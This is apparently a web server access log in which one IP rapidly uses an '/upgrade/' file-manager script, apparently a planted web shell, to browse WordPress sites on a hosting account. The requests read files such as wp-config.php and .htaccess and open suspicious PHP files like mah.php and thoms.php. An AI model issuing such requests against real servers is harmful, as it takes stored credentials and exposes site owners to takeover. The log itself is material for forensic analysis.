45.135.193.11 - - [11/Sep/2026:22:42:05 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content&location=%2F HTTP/1.1" 200 7849 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:06 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content%2F&option=folder HTTP/1.1" 200 5970 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:06 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7925 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:06 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 9016 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:06 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content%2F HTTP/1.1" 200 5996 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:06 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content%2F HTTP/1.1" 200 5945 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:06 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content%2F&option=dir HTTP/1.1" 200 5972 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:06 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content&location=%2Fhome%2F HTTP/1.1" 200 5785 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:06 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content%2F HTTP/1.1" 200 6011 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:06 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content%2Fthemes HTTP/1.1" 200 6017 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:06 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fwp-content HTTP/1.1" 200 6599 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:06 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 10237 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:06 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 20929 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:06 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 11723 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:06 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 52558 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:06 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 8578 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:06 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7927 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:07 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 8290 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:07 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F&option=folder HTTP/1.1" 200 8300 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:07 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F&option=dir HTTP/1.1" 200 8299 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:07 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fcgi-bin HTTP/1.1" 200 5792 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:07 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 200 6385 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:07 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fwp-includes HTTP/1.1" 200 25828 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:07 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 8304 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:07 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade HTTP/1.1" 200 6729 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:07 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 8579 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:07 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 10674 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:07 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 9615 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:07 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F&option=file HTTP/1.1" 200 8296 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:07 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 10126 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:07 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 11876 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:08 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 10543 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:08 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed HTTP/1.1" 200 6439 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:08 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 9172 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:08 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 16459 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:08 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 16045 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:08 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 9915 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:08 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw&location=%2F HTTP/1.1" 200 7851 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:08 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw&location=%2Fhome%2F HTTP/1.1" 200 5787 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:08 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 8969 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:08 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F.well-known HTTP/1.1" 200 6005 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:08 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 9416 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:08 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 10215 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:08 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 9798 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:08 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 18983 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:08 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 25601 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:08 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 8261 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:09 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fwp-admin HTTP/1.1" 200 13119 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:09 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 11335 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:09 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 9543 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:09 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F&option=file HTTP/1.1" 200 8463 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
